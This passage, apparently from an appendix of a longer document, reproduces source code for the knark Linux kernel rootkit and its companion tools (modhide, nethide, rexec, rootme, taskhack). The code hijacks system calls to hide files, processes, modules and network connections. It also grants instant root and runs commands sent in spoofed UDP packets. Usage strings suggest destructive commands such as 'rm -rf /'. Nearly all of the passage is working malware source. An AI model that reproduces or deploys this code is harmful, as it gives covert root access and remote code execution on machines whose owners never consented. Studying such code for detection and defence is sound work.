     ifr.ifr_ifru.ifru_flags &= ~IFF_PROMISC; 
     copy_to_user((void *)arg, &ifr, sizeof(struct ifreq)); 
 } 
 return ret; 
    } 
     
    if(current->files->fd[fd] == NULL) 
 return -1; 
     
    entry = current->files->fd[fd]->f_dentry; 
    inode = entry->d_inode; 
     
    switch(arg) 
    { 
      case KNARK_HIDE_FILE: 
 ret = knark_hide_file(inode, entry); 
 break; 
  
      case KNARK_UNHIDE_FILE: 
 ret = knark_unhide_file(inode); 
 break; 
  
      default: 
 return -EINVAL; 
    } 
    return ret; 
} 
 
 
int knark_add_nethide(char *hidestr) 
{ 
    struct nethide_list *nl = knark_nethide_list; 
     
    if(nl->nl_hidestr) 
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    { 
 while(nl->next) 
     nl = nl->next; 
  
 nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL); 
 if(nl->next == NULL) return -1; 
 nl = nl->next; 
    } 
     
    nl->next = NULL; 
    nl->nl_hidestr = hidestr; 
     
    return 0; 
} 
 
 
int knark_clear_nethides(void) 
{ 
    struct nethide_list *tmp, *nl = knark_nethide_list; 
     
    do { 
 if(nl->nl_hidestr) 
 { 
     putname(nl->nl_hidestr); 
     nl->nl_hidestr = NULL; 
 } 
  
 nl = nl->next; 
    } while(nl); 
     
    nl = knark_nethide_list->next; 
    while(nl) 
    { 
 tmp = nl->next; 
 kfree(nl); 
 nl = tmp; 
    } 
    knark_nethide_list->next = NULL; 
     
    return 0; 
} 
 
 
int knark_read(int fd, char *buf, size_t count) 
{ 
    int ret; 
    char *p1, *p2; 
    struct inode *dinode; 
    struct nethide_list *nl = knark_nethide_list; 
     
    ret = (*original_read)(fd, buf, count); 
    if(ret <= 0 || nl->nl_hidestr == NULL) return ret; 
     
    dinode = current->files->fd[fd]->f_dentry->d_inode; 
     
    if(MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) 
 return ret; 
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    if(dinode->i_ino == PROC_NET_TCP || dinode->i_ino == PROC_NET_UDP) 
    { 
 do { 
     while( (p1 = p2 = (char *) strstr(buf, nl->nl_hidestr)) ) 
     { 
  *p1 =~ *p1; 
   
  while(*p1 != '\n' && p1 > buf) 
      p1--; 
  if(*p1 == '\n') 
      p1++; 
   
  while(*p2 != '\n' && p2 < buf + ret - 1) 
      p2++; 
  if(*p2 == '\n') 
      p2++; 
      
  while(p2 < buf + ret) 
      *(p1++) = *(p2++); 
   
  ret -= p2 - p1; 
     } 
     nl = nl->next; 
 } while(nl && nl->nl_hidestr); 
    } 
     
    return ret; 
} 
 
 
int knark_clear_redirects() 
{ 
    struct redirect_list *tmp, *rl = knark_redirect_list; 
     
    do { 
 if(rl->rl_er.er_from) 
 { 
     putname(rl->rl_er.er_from); 
     rl->rl_er.er_from = NULL; 
 } 
 if(rl->rl_er.er_to) 
 { 
     putname(rl->rl_er.er_to); 
     rl->rl_er.er_to = NULL; 
 } 
  
 rl = rl->next; 
    } while(rl); 
     
    rl = knark_redirect_list->next; 
    while(rl) 
    { 
 tmp = rl->next; 
 kfree(rl); 
 rl = tmp; 
    } 

 189



    knark_redirect_list->next = NULL; 
     
    return 0; 
} 
 
 
int knark_add_redirect(struct exec_redirect *er) 
{ 
    struct redirect_list *rl = knark_redirect_list; 
     
    if(knark_strcmp(er->er_from, knark_redirect_path(er->er_from)) || 
       !knark_strcmp(er->er_from, er->er_to)) 
 return -1; 
     
    if(rl->rl_er.er_from) 
    { 
 while(rl->next) 
     rl = rl->next; 
  
 rl->next = kmalloc(sizeof(struct redirect_list), GFP_KERNEL); 
 if(rl->next == NULL) return -1; 
 rl = rl->next; 
    } 
     
    rl->next = NULL; 
    rl->rl_er.er_from = er->er_from; 
    rl->rl_er.er_to = er->er_to; 
     
    return 0; 
} 
 
 
char *knark_redirect_path(char *path) 
{ 
    struct redirect_list *rl = knark_redirect_list; 
 
    do { 
 if(rl->rl_er.er_from && !knark_strcmp(path, rl->rl_er.er_from)) 
     return rl->rl_er.er_to; 
  
 rl = rl->next; 
    } while(rl); 
     
    return path; 
} 
 
 
int knark_settimeofday(struct timeval *tv, struct timezone *tz) 
{ 
    char *hidestr; 
    struct exec_redirect er, er_user; 
     
    switch((int)tv) 
    { 
      case KNARK_GIMME_ROOT: 
 current->uid = current->euid = current->suid = current->fsuid = 
0; 
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 current->gid = current->egid = current->sgid = current->fsgid = 
0; 
 break; 
  
      case KNARK_ADD_REDIRECT: 
 copy_from_user((void *)&er_user, (void *)tz, sizeof(struct 
exec_redirect)); 
 er.er_from = getname(er_user.er_from); 
 er.er_to = getname(er_user.er_to); 
 if(IS_ERR(er.er_from) || IS_ERR(er.er_to)) 
     return -1;  
 knark_add_redirect(&er); 
 break; 
 
      case KNARK_CLEAR_REDIRECTS: 
 knark_clear_redirects(); 
 break; 
  
      case KNARK_ADD_NETHIDE: 
 hidestr = getname((char *)tz); 
 if(IS_ERR(hidestr)) 
     return -1; 
 knark_add_nethide(hidestr); 
 break; 
  
      case KNARK_CLEAR_NETHIDES: 
 knark_clear_nethides(); 
 break; 
     
      default: 
 return (*original_settimeofday)(tv, tz); 
    } 
    return 0; 
} 
     
 
int knark_execve(struct pt_regs regs) 
{ 
    int error; 
    char *filename; 
     
    lock_kernel(); 
    filename = getname((char *)regs.ebx); 
    error = PTR_ERR(filename); 
    if(IS_ERR(filename)) 
 goto out; 
     
    error = do_execve(knark_redirect_path(filename), (char **)regs.ecx, 
        (char **)regs.edx, &regs); 
     
    if(error == 0) 
 current->flags &= ~PF_DTRACE; 
    putname(filename); 
out: 
    unlock_kernel(); 
    return error; 
} 
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#define BUF_LIMIT (PAGE_SIZE - 80) 
int knark_read_pids(char *buf, char **start, off_t offset, int len, 
      int unused) 
{ 
    struct task_struct *task; 
     
    if( (task = knark_find_task(1)) == NULL) 
 return 0; 
     
    len = sprintf(buf, " EUID PID\tCOMMAND\n"); 
     
    do { 
 if(task->flags & PF_INVISIBLE) 
     len += sprintf(buf+len, "%5d %d\t%s\n", 
      task->euid, task->pid, task->comm); 
 task = task->next_task; 
    } while(task->pid != 1 && len < BUF_LIMIT); 
     
    return len; 
} 
 
 
int knark_read_files(char *buf, char **start, off_t offset, int len, 
      int unsused) 
{ 
    int n, i; 
     
    len = sprintf(buf, "HIDDEN FILES\n"); 
     
    for(n = 0; n < kfs->f_ndevs; n++) 
 for(i = 0; i < kfs->f_dev[n]->d_nfiles; i++) 
     len += sprintf(buf+len, "%s\n", kfs->f_dev[n]->d_name[i]); 
     
    return len; 
} 
 
 
int knark_read_redirects(char *buf, char **start, off_t offset, int 
len, 
    int unised) 
{ 
    int n, tmp=0; 
    struct redirect_list *rl = knark_redirect_list; 
     
    len = sprintf(buf, "REDIRECT FROM                 REDIRECT TO\n"); 
    if(rl->rl_er.er_from == NULL) 
 return len; 
     
    while(rl) 
    { 
 len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from); 
 n = 30 - tmp; 
 memset(buf+len, ' ', n); 
 len += n; 
 len += sprintf(buf+len, "%s\n", rl->rl_er.er_to); 
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 rl = rl->next; 
  
    } 
     
    return len; 
} 
 
 
int knark_read_nethides(char *buf, char **start, off_t offset, int len, 
   int unused) 
{ 
    struct nethide_list *nl = knark_nethide_list; 
     
    len = sprintf(buf, "HIDDEN STRINGS (without the quotes)\n");    
    while(nl && nl->nl_hidestr) 
    { 
 len += sprintf(buf+len, "\"%s\"\n", nl->nl_hidestr); 
 nl = nl->next; 
    } 
     
    return len; 
} 
 
 
int knark_read_author(char *buf, char **start, off_t offset, int len, 
       int unused) 
{ 
    len = sprintf(buf, 
  "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*\n" 
  "* knark %s by Creed @ #hack.se 1999 <creed@sekure.net> 
*\n" 
  "*                                                         
*\n" 
  "*    This program may NOT be used in an illegal way       
*\n" 
         "*          or to cause damage of any kind.                
*\n" 
         "* * * * * * * * * * * * * * * * * * * * * * * * * * * * 
* *\n" 
  ,KNARK_VERSION); 
  
    return len; 
} 
 
 
#ifdef FUCKY_REXEC_VERIFY 
ssize_t knark_verify_rexec_fops_read(struct file *file, char *buf, 
         size_t len, loff_t *offset) 
{ 
    if(file->f_pos == strlen("fikadags?\n")) 
       return 0; 
     
    len = sprintf(buf, "fikadags?\n"); 
    file->f_pos = len; 
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    return len; 
} 
 
 
int knark_write_verify_rexec(struct file *file, const char *buf, u_long 
count, 
        void *data) 
{ 
    int num, n; 
    char buff[16]; 
     
    n = count<16? count:16; 
    knark_bcopy((char *)buf, buff, n); 
    if(buff[n-1] == '\n') 
 buff[n-1] = '\0'; 
    else 
 buff[n] = '\0'; 
     
    num = knark_atoi(buff); 
    if(num >= 0 && num <= 16) 
 verify_rexec = num; 
     
    file->f_pos = count; 
 
    return count; 
} 
 
 
int knark_read_verify_rexec(char *buf, char **start, off_t offset, int 
len, 
       int unused) 
{ 
    len = sprintf(buf, 
    "Knark rexec verify-packet must be one of:\n" 
    " 0   ICMP_NET_UNREACH\n" 
    " 1   ICMP_HOST_UNREACH\n" 
    " 2   ICMP_PROT_UNREACH\n" 
    " 3   ICMP_FRAG_NEEDED\n" 
    " 4   ICMP_FRAG_NEEDED\n" 
    " 5   ICMP_SR_FAILED\n" 
    " 6   ICMP_NET_UNKNOWN\n" 
    " 7   ICMP_HOST_ISOLATED\n" 
    " 8   ICMP_HOST_ISOLATED\n" 
    " 9   ICMP_NET_ANO\n" 
    " 10  ICMP_HOST_ANO\n" 
    " 11  ICMP_NET_UNR_TOS\n" 
    " 12  ICMP_HOST_UNR_TOS\n" 
    " 13  ICMP_PKT_FILTERED\n" 
    " 14  ICMP_PREC_VIOLATION\n" 
    " 15  ICMP_PREC_VIOLATION\n" 
    " 16  (don't verify)\n" 
    "\n" 
    "Currently set to: %d\n", 
    verify_rexec); 
     
    return len; 
} 
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#endif /*FUCKY_REXEC_VERIFY*/ 
 
 
int knark_execve_userprogram(char *path, char **argv, char **envp, int 
secret) 
{ 
    static char *path_argv[2]; 
    static char *def_envp[] = { "HOME=/", "TERM=linux",  
      
"PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" 
    "/usr/bin/X11", NULL 
    }; 
    static struct execve_args args; 
    pid_t pid; 
     
    if(path) args.path = path; 
    else return -1; 
     
    if(argv) args.argv = argv; 
    else { 
 path_argv[0] = path; 
 path_argv[1] = NULL; 
    } 
     
    if(envp) args.envp = envp; 
    else args.envp = def_envp; 
     
    pid = kernel_thread(knark_do_exec_userprogram, (void *)&args, 
CLONE_FS); 
    if(pid == -1) 
 return -1; 
     
    if(secret) knark_hide_process(pid); 
    return pid; 
} 
 
 
int knark_do_exec_userprogram(void *data) 
{ 
    int i; 
    struct fs_struct *fs; 
    struct execve_args *args = (struct execve_args *) data; 
     
    lock_kernel(); 
     
    exit_fs(current); 
    fs = init_task.fs; 
    current->fs = fs; 
    atomic_inc(&fs->count); 
     
    unlock_kernel(); 
     
    for(i = 0; i < current->files->max_fds; i++) 
 if(current->files->fd[i]) close(i); 
     
    current->uid = current->euid = current->fsuid = 0; 
    cap_set_full(current->cap_inheritable); 
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    cap_set_full(current->cap_effective); 
     
    set_fs(KERNEL_DS); 
 
    if(execve(args->path, args->argv, args->envp) < 0) 
 return -1; 
 
    return 0; 
} 
 
 
int knark_udp_rcv(struct sk_buff *skb, unsigned short len) 
{ 
    int i, datalen; 
    struct udphdr *uh = (struct udphdr *)(skb->data + 48); 
    char *buf, *data = skb->data + 56; 
    static char *argv[16]; 
    char space_str[2]; 
     
    if(uh->source != ntohs(53) || 
       uh->dest != ntohs(53) || 
 *(u_long *)data != UDP_REXEC_USERPROGRAM) 
 goto bad; 
    data += 4; 
    datalen = ntohs(uh->len) - sizeof(struct udphdr) - sizeof(u_long); 
     
    buf = kmalloc(datalen+1, GFP_KERNEL); 
    if(buf == NULL) 
 goto bad; 
     
    knark_bcopy(data, buf, datalen); 
    buf[datalen] = '\0'; 
     
    space_str[0] = SPACE_REPLACEMENT; 
    space_str[1] = 0; 
    for(i = 0; i < 16 && (argv[i] = strtok(i? NULL:buf, space_str)) != 
NULL; 
 i++); 
    argv[i] = NULL; 
 
    knark_execve_userprogram(argv[0], argv, NULL, 1); 
#ifdef FUCKY_REXEC_VERIFY 
    if(verify_rexec >= 0 && verify_rexec < 16) 
 icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0); 
#endif /*FUCKY_REXEC_VERIFY*/ 
     
    return 0; 
bad: 
    return original_udp_protocol->handler(skb, len); 
} 
 
 
int init_module(void) 
{ 
    inet_add_protocol(&knark_udp_protocol); 
    original_udp_protocol = knark_udp_protocol.next; 
    inet_del_protocol(original_udp_protocol); 
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    kfs = kmalloc(sizeof(struct knark_fs_struct), GFP_KERNEL); 
    if(kfs == NULL) goto error; 
    memset((void *)kfs, 0, sizeof(struct knark_fs_struct)); 
 
    knark_redirect_list = kmalloc(sizeof(struct redirect_list), 
GFP_KERNEL); 
    if(knark_redirect_list == NULL) goto error; 
    memset((void *)knark_redirect_list, 0, sizeof(struct 
redirect_list)); 
     
    knark_nethide_list = kmalloc(sizeof(struct nethide_list), 
         GFP_KERNEL); 
    if(knark_nethide_list == NULL) goto error; 
    memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list)); 
     
    proc_register(&proc_root, &knark_dir); 
    knark_ino = knark_dir.low_ino; 
    proc_register(&knark_dir, &knark_pids); 
    proc_register(&knark_dir, &knark_files); 
    proc_register(&knark_dir, &knark_author); 
    proc_register(&knark_dir, &knark_redirects); 
    proc_register(&knark_dir, &knark_nethides); 
#ifdef FUCKY_REXEC_VERIFY 
    proc_register(&knark_dir, &knark_verify_rexec); 
#endif /*FUCKY_REXEC_VERIFY*/ 
     
    original_getdents = sys_call_table[SYS_getdents]; 
    sys_call_table[SYS_getdents] = knark_getdents; 
     
    original_kill = sys_call_table[SYS_kill]; 
    sys_call_table[SYS_kill] = knark_kill; 
     
    original_read = sys_call_table[SYS_read]; 
    sys_call_table[SYS_read] = knark_read; 
     
    original_ioctl = sys_call_table[SYS_ioctl]; 
    sys_call_table[SYS_ioctl] = knark_ioctl; 
     
    original_fork = sys_call_table[SYS_fork]; 
    sys_call_table[SYS_fork] = knark_fork; 
     
    original_clone = sys_call_table[SYS_clone]; 
    sys_call_table[SYS_clone] = knark_clone; 
     
    original_settimeofday = sys_call_table[SYS_settimeofday]; 
    sys_call_table[SYS_settimeofday] = knark_settimeofday; 
 
    original_execve = sys_call_table[SYS_execve]; 
    sys_call_table[SYS_execve] = knark_execve; 
 
    return 0; 
error: 
    return -1; 
} 
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void cleanup_module(void) 
{ 
    int i, n; 
 
    inet_add_protocol(original_udp_protocol); 
    inet_del_protocol(&knark_udp_protocol); 
     
    proc_unregister(&knark_dir, knark_pids.low_ino); 
    proc_unregister(&knark_dir, knark_files.low_ino); 
    proc_unregister(&knark_dir, knark_author.low_ino); 
    proc_unregister(&knark_dir, knark_redirects.low_ino); 
    proc_unregister(&knark_dir, knark_nethides.low_ino); 
#ifdef FUCKY_REXEC_VERIFY 
    proc_unregister(&knark_dir, knark_verify_rexec.low_ino); 
#endif /*FUCKY_REXEC_VERIFY*/ 
    proc_unregister(&proc_root, knark_dir.low_ino); 
     
    sys_call_table[SYS_getdents] = original_getdents; 
    sys_call_table[SYS_kill] = original_kill; 
    sys_call_table[SYS_read] = original_read; 
    sys_call_table[SYS_ioctl] = original_ioctl; 
    sys_call_table[SYS_fork] = original_fork; 
    sys_call_table[SYS_clone] = original_clone; 
    sys_call_table[SYS_settimeofday] = original_settimeofday; 
    sys_call_table[SYS_execve] = original_execve; 
     
    knark_clear_redirects(); 
    kfree(knark_redirect_list); 
     
    knark_clear_nethides(); 
    kfree(knark_nethide_list); 
     
    for(i = 0; i < kfs->f_ndevs; i++) 
    { 
 kfree(kfs->f_dev[i]); 
 for(n = 0; kfs->f_dev[i]->d_name; n++) 
     kfree(kfs->f_dev[i]->d_name); 
    } 
    kfree(kfs); 
} 
 
EXPORT_NO_SYMBOLS; 
 
C.13:  Knark.h 
 
/* 
 * knark.h, part of the knark package 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 * Ported to 2.4 2001 by cyberwinds@hotmail.com 
 *  
 * Some parts of this can be changed, but things might break so I 
advice you 
 * to leave it as it is. 
 * See README for more info. 
 */ 
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#ifndef _KNARK_H 
#define _KNARK_H 
 
// to conform to the kernel version. 
#define KNARK_VERSION "v2.4.3" 
 
#define MODULE_NAME "knark" 
 
 
#define MAX_SECRET_FILES 12 
#define MAX_SECRET_DEVS 4 
 
 
#ifdef DEBUG 
# ifdef __KERNEL__ 
#  define knark_debug(fmt, args...) printk(fmt, ## args) 
# else 
#  define knark_debug(fmt, args...) fprintf(stderr, fmt, ## args) 
# endif 
#else 
#define knark_debug(fmt, args...) 
#endif 
 
 
#define SIGINVISIBLE 31 
#define SIGVISIBLE 32 
 
 
/* ioctl stuff */ 
#define KNARK_ELITE_CMD 0xfffffffe 
 
#define KNARK_HIDE_FILE 1 
#define KNARK_UNHIDE_FILE 2 
 
 
/* knark_settimeofday */ 
#define KNARK_GIMME_ROOT 9000 
 
#define KNARK_ADD_REDIRECT 9001 
#define KNARK_CLEAR_REDIRECTS 9002 
 
#define KNARK_ADD_NETHIDE 9003 
#define KNARK_CLEAR_NETHIDES 9004 
 
struct exec_redirect 
{ 
    char *er_from; 
    char *er_to; 
}; 
 
 
/* udp-wrapper */ 
#define UDP_REXEC_USERPROGRAM 0x0deadbee 
#define UDP_REXEC_SRCPORT 53 
#define UDP_REXEC_DSTPORT 53 
 
#define SPACE_REPLACEMENT 254 
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/* Ok, time for some self-promotion again. I'm hopeless. */ 
void author_banner(const char *progname); 
 
#endif //_KNARK_H 
 
C.14:  Modhide.c 
 
/* 
 * generic module hidder, for 2.2.x kernels. 
 * 
 * by kossak (kossak@hackers-pt.org || http://www.hackers-
pt.org/kossak) 
 * Enhanced by cyberwinds@hotmail.com 
 * 
 * This module hides the last module installed. With little mind work 
you can 
 * put it to selectivly hide any module from the list. 
 * 
 * insmod'ing this module will allways return an error, something like 
device 
 * or resource busy, or whatever, meaning the module will not stay 
installed. 
 * Run lsmod and see if it done any good. If not, see below, and try 
until you  
 * suceed. If you dont, then the machine has a weird compiler that I 
never seen. 
 * It will suceed on 99% of all intel boxes running 2.2.x kernels. 
 *  
 * The module is expected not to crash when it gets the wrong register, 
but 
 * then again, it could set fire to your machine, who knows... 
 * 
 * Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52.  
 * The thing about this on 2.2.x is that kernel module symbol 
information is  
 * also referenced by this pointer, so this hides all of the stuff :) 
 * 
 * DISCLAIMER: If you use this for the wrong purposes, your skin will 
fall off, 
 *             you'll only have sex with ugly women, and you'll be 
raped in 
 *             jail by homicidal maniacs. 
 * 
 * Anyway, enjoy :) 
 * 
 * USAGE: gcc -c modhide.c ; insmod modhide.o ; lsmod ; rm -rf / 
 */ 
 
 
#define MODULE 
#define __KERNEL__ 
 
#include <linux/config.h> 
#include <linux/module.h> 
#include <linux/version.h> 
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#include <linux/string.h> 
#include <linux/kernel.h> 
 
char * modname; 
 
MODULE_PARM(modname, "s"); 
 
int init_module(void) { 
 
/* 
 *  if at first you dont suceed, try: 
 *  %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp  
 *  I cant make this automaticly, because I'll fuck up the registers If 
I do  
 *  any calculus here. 
 */ 
  register struct module *mp asm("%ebx"); 
  struct module *p; 
 
  // check modname 
  if(modname == 0x0){ 
    // If you really want to use this module, do it right way! 
thinkhard 
    printk("Unknown module name. Try insmod modhide.o modname.\n"); 
    return -1; 
  } 
 
   
  /* 
    if (mp->init == &init_module) // is it the right register?  
    if (mp->next) // and is there any module besides this one?  
    mp->next = mp->next->next; // cool, lets hide it :)  
  */ 
 
  if (mp->init == &init_module) /* is it the right register? */ 
    if (mp->next){ /* and is there any module besides this one? */ 
      p = mp->next; 
      while(p && strcmp(p->name, modname)){ 
 mp = p; 
 p=p->next; 
      }  
      if(p) //found matching module 
 mp->next = p->next; 
    } 
  
  return -1; /* the end. simple heh? */ 
} 
/* EOF */ 
 
C.15:  Nethide.c 
 
/* 
 * nethide.c, part of the knark package 
 * Linux 2.1-2.2 lkm trojan user program 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
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 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 *  
 * See README for more info. 
 */ 
 
#include <sys/types.h> 
#include <sys/time.h> 
#include <unistd.h> 
#include <stdio.h> 
#include "knark.h" 
 
 
void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "\t%s <string>\n" 
            "\t%s -c (clear nethide-list)\n" 
     "ex: %s \":ABCD\" (will hide connections to/from port 
0xABCD)\n", 
     progname, progname, progname); 
    exit(-1); 
} 
 
 
int main(int argc, char *argv[]) 
{ 
    char *hidestr; 
     
    author_banner("nethide.c"); 
     
    if(argc != 2 || !strlen(argv[1])) 
 usage(argv[0]); 
     
    if(!strcmp(argv[1], "-c")) 
    { 
 if(settimeofday((struct timeval *)KNARK_CLEAR_NETHIDES, 
   (struct timezone *)NULL) == -1) 
 { 
     perror("settimeofday"); 
     fprintf(stderr, "Have you really loaded knark.o?!\n"); 
     exit(-1); 
 } 
 printf("Done. Nethide list cleared.\n"); 
 exit(0); 
    } 
     
    hidestr = argv[1]; 
     
    if(settimeofday((struct timeval *)KNARK_ADD_NETHIDE, 
      (struct timezone *)hidestr) == -1) 
    { 
 perror("settimeofday"); 
 fprintf(stderr, "Have you really loaded knark.o?!\n"); 
 exit(-1); 
    } 
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    printf("Done: \"%s\" is now removed\n", hidestr); 
    exit(0); 
} 
 
 
C.16:  Rexec.c 
 
/* 
 * rexec.c, part of the knark package 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 * 
 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 * 
 * See README for more info. 
 */ 
 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <netdb.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <time.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
 
#include "knark.h" 
 
#define UDP_H sizeof(struct udphdr) 
#define IP_H sizeof(struct ip) 
 
 
void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "\t%s <src_addr> <dst_addr> <command> [args ...]\n" 
     "ex: %s www.microsoft.com 192.168.1.77 /bin/rm -fr /\n", 
     progname, progname); 
    exit(-1); 
} 
 
 
int open_raw_sock(void) 
{ 
    int s, on = 1; 
     
    if( (s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) 
 perror("SOCK_RAW"), exit(-1); 
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    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) 
 perror("IP_HDRINCL"), exit(-1); 
     
    return s; 
} 
 
 
struct in_addr resolv(char *hostname) 
{ 
    struct in_addr in; 
    struct hostent *hp; 
     
    if( (in.s_addr = inet_addr(hostname)) == -1) 
    { 
 if( (hp = gethostbyname(hostname)) ) 
     bcopy(hp->h_addr, &in.s_addr, hp->h_length); 
 else { 
     herror("Can't resolv hostname"); 
     exit(-1); 
 } 
    } 
 
    return in; 
} 
 
 
int udp_send_rexec(int s, 
     struct in_addr *src, 
     struct in_addr *dst, 
     u_char *buf, 
     u_short datalen) 
{ 
    u_char *packet, *data, *p; 
    struct ip *ip; 
    struct udphdr *udp; 
    u_short psize; 
    struct sockaddr_in sin; 
     
    psize = IP_H + UDP_H + sizeof(u_long) + datalen; 
    if( (packet = calloc(1, psize)) == NULL) 
 perror("calloc"), exit(-1); 
     
    ip     = (struct ip     *) packet; 
    udp    = (struct udphdr *) (packet + IP_H); 
    data   = (u_char        *) (packet + IP_H + UDP_H); 
     
    srand(time(NULL)); 
     
    bzero(&sin, sizeof(sin)); 
    sin.sin_family = AF_INET; 
    sin.sin_addr.s_addr = dst->s_addr; 
    sin.sin_port = htons(UDP_REXEC_DSTPORT); 
 
    ip->ip_hl         = IP_H >> 2; 
    ip->ip_v          = IPVERSION; 
    ip->ip_len        = htons(psize); 
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    ip->ip_id         = ~rand()&0xffff; 
    ip->ip_ttl        = 63; 
    ip->ip_p          = IPPROTO_UDP; 
    ip->ip_src.s_addr = src->s_addr; 
    ip->ip_dst.s_addr = dst->s_addr; 
     
    udp->source = htons(UDP_REXEC_SRCPORT); 
    udp->dest   = htons(UDP_REXEC_DSTPORT); 
    udp->len    = htons(UDP_H + sizeof(u_long) + datalen); 
     
    p = data; 
    *(u_long *)p = UDP_REXEC_USERPROGRAM; 
    p += sizeof(u_long); 
    memcpy(p, buf, datalen); 
     
    if(sendto(s, packet, psize, 0, (struct sockaddr *)&sin, 
sizeof(sin)) == -1) 
 perror("sendto"), exit(-1); 
     
    return psize; 
} 
 
 
int main(int argc, char *argv[]) 
{ 
    int s, i, len; 
    u_char cmd[IP_MSS]; 
    struct in_addr src, dst; 
     
    author_banner("rexec.c"); 
     
    if(argc < 4) 
 usage(argv[0]); 
     
    src = resolv(argv[1]); 
    dst = resolv(argv[2]); 
     
    s = open_raw_sock(); 
     
    len = snprintf(cmd, IP_MSS, "%s", argv[3]); 
    for(i = 4; i < argc && len < IP_MSS; i++) 
 len += snprintf(cmd+len, IP_MSS-len, "%c%s", SPACE_REPLACEMENT, 
   argv[i]); 
    cmd[len] = '\0'; 
     
    udp_send_rexec(s, &src, &dst, cmd, len); 
    for(i = 0; cmd[i]; i++) 
 if(cmd[i] == SPACE_REPLACEMENT) 
     cmd[i] = ' '; 
    printf("Done. exec \"%s\" requested on %s from %s\n", 
    cmd, argv[2], argv[1]); 
     
    exit(0); 
} 
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C.17:  Rootme.c 
 
/* 
 * rootme.c, part of the knark package 
 * Linux 2.1-2.2 lkm trojan user program 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 *  
 * See README for more info. 
 */ 
 
#include <sys/types.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <time.h> 
 
#include "knark.h" 
 
 
void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "\t%s <path> [args ...]\n" 
     "ex: %s /bin/sh\n", 
     progname, progname); 
    exit(-1); 
} 
 
 
int main(int argc, char *argv[]) 
{ 
    author_banner("rootme.c"); 
     
    if(argc < 2) 
 usage(argv[0]); 
     
    if(settimeofday((struct timeval *)KNARK_GIMME_ROOT, 
      (struct timezone *)NULL) == -1) 
    { 
 perror("settimeofday"); 
 fprintf(stderr, "Have you really loaded knark.o?!\n"); 
 exit(-1); 
    } 
     
    printf("Do you feel lucky today, hax0r?\n"); 
    if(execv(argv[1], argv+1) == -1) 
 perror("execv"), exit(-1); 
    exit(0); 
} 
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C.18:  Taskhack.c 
 
/* 
 * taskhack.c, part of the knark package 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 *  
 * You don't need the README to use this program if you have a brain. 
 */ 
 
#define __KERNEL__ 
#include <linux/sched.h> 
#undef __KERNEL__ 
//#include <sys/types.h> 
//#include <unistd.h> 
//#include <fcntl.h> 
//#include <stdlib.h> 
#include <stdio.h> 
//#include <string.h> 
#include <errno.h> 
#include <getopt.h> 
 
#include "knark.h" 
 
extern void exit(int ); 
extern int atoi(const char *); 
extern unsigned long int strtoul(const char *, char **, int ); 
 
void die(char *reason) 
{ 
    perror(reason); 
    exit(-1); 
} 
 
 
void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "%s  -show pid          shows id's of process pid\n" 
     "%s  -someid=newid pid  sets process pid's someid to newid\n" 
     "                              newid defaults to 0\n" 
     "someid is one of: uid, euid, suid, fsuid, gid, egid, sgid, 
fsgid\n" 
     "alluid or allgid can be used to specify all *uid's or 
*gid's\n" 
     "ex: %s -euid=1000 1\n", 
     progname, progname, progname); 
    exit(-1); 
} 
 
 
int main(int argc, char *argv[]) 
{ 
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    int kmem_fd, c; 
    char *p, buf[1024]; 
    FILE *ksyms_fp; 
    unsigned long task_addr, kstat_addr = 0; 
    struct task_struct task; 
    int uflag = 0, eflag = 0, sflag = 0, fflag = 0; 
    int Gflag = 0, Eflag = 0, Sflag = 0, Fflag = 0; 
    int lflag = 0; 
    uid_t uid = 0, euid = 0, suid = 0, fsuid = 0; 
    gid_t gid = 0, egid = 0, sgid = 0, fsgid = 0; 
    pid_t pid; 
     
    const char *optstr = "lauesfAGESF"; 
    struct option options[] =  
    { 
 {"show", 0, 0, 'l'}, 
 {"alluid", 2, 0, 'a'}, 
 {"uid", 2, 0, 'u'}, 
 {"euid", 2, 0, 'e'}, 
 {"suid", 2, 0, 's'}, 
 {"fsuid", 2, 0, 'f'}, 
 {"allgid", 2, 0, 'A'}, 
 {"gid", 2, 0, 'G'}, 
 {"egid", 2, 0, 'E'}, 
 {"sgid", 2, 0, 'S'}, 
 {"fsgid", 2, 0, 'F'}, 
 {0, 0, 0, 0} 
    }; 
     
    author_banner("taskhack.c"); 
     
    while( (c = getopt_long_only(argc, argv, optstr, options, 
     NULL)) != EOF) 
 switch(c) 
    { 
      case 'l': 
 lflag++; 
 break; 
  
      case 'a': 
 uflag++, eflag++, sflag++, fflag++; 
 if(optarg) uid = euid = suid = fsuid = atoi(optarg); 
 break; 
  
      case 'u': 
 uflag++; 
 if(optarg) uid = atoi(optarg); 
 break; 
  
      case 'e': 
 eflag++; 
 if(optarg) euid = atoi(optarg); 
 break; 
  
      case 's': 
 sflag++; 
 if(optarg) suid = atoi(optarg); 
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 break; 
  
